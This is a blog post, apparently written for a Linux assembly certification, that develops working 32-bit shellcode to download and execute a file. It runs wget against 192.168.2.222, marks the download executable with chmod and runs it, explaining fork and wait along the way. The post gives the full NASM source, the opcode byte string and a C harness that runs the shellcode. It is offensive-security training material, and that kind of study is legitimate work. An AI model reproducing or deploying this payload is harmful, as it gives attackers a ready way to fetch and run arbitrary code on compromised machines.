After completing the tasks for the SLEA certification, I went on writing a shellcode for downloading and executing a file. For this task I wanna use wget with execve.
But first, some pseudocode:
start
execve wget file_x
chmod +x file_x
execve file_x
end
So that is the plan. See a problem here? Look at the execve man page:
EXECVE(2) Linux Programmer's Manual EXECVE(2)
NAME
execve - execute program
execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.
...SNIP...
So once the execve command is finished, the program exits and the chmod and the second execve will never be reached. What to do? Let’s have a look at the fork man page:
FORK(2) Linux Programmer's Manual FORK(2)
NAME
fork - create a child process
SYNOPSIS
#include
pid_t fork(void);
DESCRIPTION
fork() creates a new process by duplicating the calling process. The new process, referred to as the child, is an exact duplicate of the calling process,
referred to as the parent
...SNIP...
Further we will need the wait command, have a look at this by yourself (man 2 wait). wait(NULL) will wait for the child process until it executes.
But before going on to the shellcode here is a demonstration of fork and wait in plain C:
forkwaittest.c
#include <stdio.h>
void main(void)
{
int childPid;
childPid = fork();
if(childPid == 0)
{
printf("Hello, i am the child process\n");
exit(0);
}
else
{
wait(NULL);
printf("Hello, i am the parent process\n");
}
}
What does it do:
– execute the program
– start the child program
– in the parent program, wait until child has been executed
– print child
– print parent
As a little experiment you can compare the output when you comment the wait command.
And here is the assembler code for my fork/wait test:
forkwait.nasm
; fork wait example
global _start
section .text
_start:
;fork
xor eax,eax
mov al,0x2
int 0x80
xor ebx,ebx
cmp eax,ebx
jz child
;wait(NULL)
mov eax,0x7
int 0x80
;print parent & exit
xor eax, eax
mov al, 0x4
xor ebx, ebx
mov bl, 0x1
xor edx, edx
push edx
push 0x746e
push 0x65726170
mov ecx, esp
mov dl, 12
int 0x80
xor eax, eax
mov al, 0x1
xor ebx, ebx
int 0x80
child:
;print child & exit
xor eax, eax
mov al, 0x4
xor ebx, ebx
mov bl, 0x1
xor edx, edx
push edx
push 0x64
push 0x6c696863
mov ecx, esp
mov dl, 12
int 0x80
xor eax, eax
mov al, 0x1
xor ebx, ebx
int 0x80
This is mostly the same as the C program.
So here is my new pseudo code:
start
fork
cmp
if child goto child
wait for child
chmod +x file_x
execve file_x
child:
execve wget file_x
end
Enough explanations, here is the shellcode:
/*
; Filename: downloadexec.nasm
; Author: Daniel Sauder
; Website: http://danielsauder.com/
; Tested on: Ubuntu 12.04 / 32Bit
; License: http://creativecommons.org/licenses/by-sa/3.0/
; Shellcode:
; - download 192.168.2.222/x with wget
; - chmod x
; - execute x
; - x is an executable
global _start
section .text
_start:
;fork
xor eax,eax
mov al,0x2
int 0x80
xor ebx,ebx
cmp eax,ebx
jz child
;wait(NULL)
xor eax,eax
mov al,0x7
int 0x80
;chmod x
xor ecx,ecx
xor eax, eax
push eax
mov al, 0xf
push 0x78
mov ebx, esp
xor ecx, ecx
mov cx, 0x1ff
int 0x80
;exec x
xor eax, eax
push eax
push 0x78
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
child:
;download 192.168.2.222//x with wget
push 0xb
pop eax
cdq
push edx
push 0x782f2f32 ;2//x avoid null byte
push 0x32322e32 ;22.2
push 0x2e383631 ;.861
push 0x2e323931 ;.291
mov ecx,esp
push edx
push 0x74 ;t
push 0x6567772f ;egw/
push 0x6e69622f ;nib/
push 0x7273752f ;rsu/
mov ebx,esp
push edx
push ecx
push ebx
mov ecx,esp
int 0x80
*/
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x74\x2a\x31\xc0\xb0\x07\xcd\x80\x31\xc9\x31\xc0\x50\xb0\x0f\x6a\x78\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x31\xc0\x50\x6a\x78\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x6a\x0b\x58\x99\x52\x68\x32\x2f\x2f\x78\x68\x32\x2e\x32\x32\x68\x31\x36\x38\x2e\x68\x31\x39\x32\x2e\x89\xe1\x52\x6a\x74\x68\x2f\x77\x67\x65\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
You can download the code from github. Also on shell-storm.org
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-342
